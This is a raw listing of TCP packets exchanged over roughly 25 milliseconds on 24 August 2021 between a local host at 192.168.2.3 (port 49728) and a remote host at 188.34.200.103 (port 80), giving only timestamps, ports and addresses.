Aug 24, 2021 14:01:43.067918062 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067919970 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067939997 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067944050 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067960024 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067970991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067986965 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067996025 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068017960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068018913 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068032980 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068043947 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068058968 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068068981 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068088055 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068092108 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068109035 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068115950 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068133116 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068137884 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068161964 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068165064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068177938 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068187952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068209887 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068211079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068226099 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068234921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068253040 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068259001 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068275928 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068281889 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068301916 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068305969 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068320036 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068329096 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068345070 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068355083 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068366051 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068378925 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068396091 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068403006 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068427086 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068427086 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068439960 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068465948 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068514109 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068537951 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068562031 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068564892 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068582058 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068592072 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068607092 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068614960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068639040 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068639040 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068662882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068665028 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068686008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068687916 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068710089 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068710089 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068731070 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068732977 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068753958 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068759918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068774939 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068784952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068800926 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068806887 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068825960 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068830967 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068846941 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068855047 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068876982 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068877935 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068898916 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068901062 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068917036 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068923950 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068938017 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068950891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068963051 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068975925 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.068990946 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.068999052 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069015026 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069024086 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069040060 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069047928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069071054 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069071054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069096088 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069096088 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069114923 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069119930 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069138050 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069147110 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069159031 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069170952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069190025 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069194078 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069211960 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069217920 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069236994 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069242001 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069257021 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069266081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069288015 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069291115 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069307089 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069314003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069335938 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069340944 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069353104 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069365025 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069386005 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069387913 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069410086 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069411993 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069427013 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069436073 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069458961 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069459915 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069483042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069484949 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069504976 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069506884 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069529057 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069533110 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069550037 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069557905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069577932 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069596052 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069618940 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069621086 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069643974 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069652081 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069668055 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069675922 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069694996 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069696903 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069717884 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069721937 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069745064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069746017 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069770098 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069772005 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069792986 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069794893 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069817066 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069818974 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069840908 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069843054 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069863081 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069864035 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069888115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069889069 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069911003 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069912910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069930077 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069940090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069953918 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069964886 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.069986105 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.069988966 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070005894 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070013046 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070028067 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070035934 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070050001 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070060015 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070075989 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070085049 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070097923 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070108891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070127010 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070136070 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070153952 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070161104 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070182085 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070183992 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070199013 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070207119 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070229053 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070230961 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070252895 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070252895 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070272923 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070276976 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070298910 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070300102 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070316076 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070326090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070343018 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070350885 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070370913 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070374012 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070389986 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070398092 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070416927 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070420027 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070439100 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070441008 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070460081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070463896 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070483923 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070485115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070508957 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070511103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070533037 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070534945 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070558071 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070560932 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070573092 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070583105 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070597887 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070605993 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070619106 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070626974 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070641041 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070651054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070667028 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070673943 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070696115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070699930 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070713997 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070724010 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070736885 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070746899 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070763111 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070770979 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070786953 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070794106 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.070816040 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.070835114 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.088617086 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.088650942 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.088675022 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.088694096 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.088701963 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.088723898 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.088726997 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.088747025 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.090898037 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.090960979 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.091897964 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.091928959 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.091994047 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092010021 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092099905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092123985 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092139006 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092159986 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092170000 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092180967 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092195988 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092215061 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092216015 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092236996 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092245102 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092257023 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092271090 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092278957 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092288971 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092298985 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092308998 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092318058 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092331886 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092339039 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092355013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092365026 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092370033 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092396021 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092396975 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092422009 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092430115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092444897 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092462063 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092470884 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092489004 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092495918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092520952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092529058 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092540979 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092545033 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092562914 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092576981 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092605114 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092627048 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092629910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092648983 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092670918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092678070 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092694998 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092711926 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092714071 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092736006 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092758894 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092767954 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092772961 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092786074 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092787981 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092803955 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092813015 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092832088 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092834949 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092859030 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092860937 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092881918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092886925 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092905045 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092905045 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092930079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092931032 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092952013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092952013 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092977047 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.092978954 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.092993021 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093003035 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093017101 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093025923 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093039036 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093050003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093060970 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093072891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093090057 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093096018 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093116999 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093120098 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093133926 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093142033 CEST	80	49728	188.34.200.103	192.168.2.3
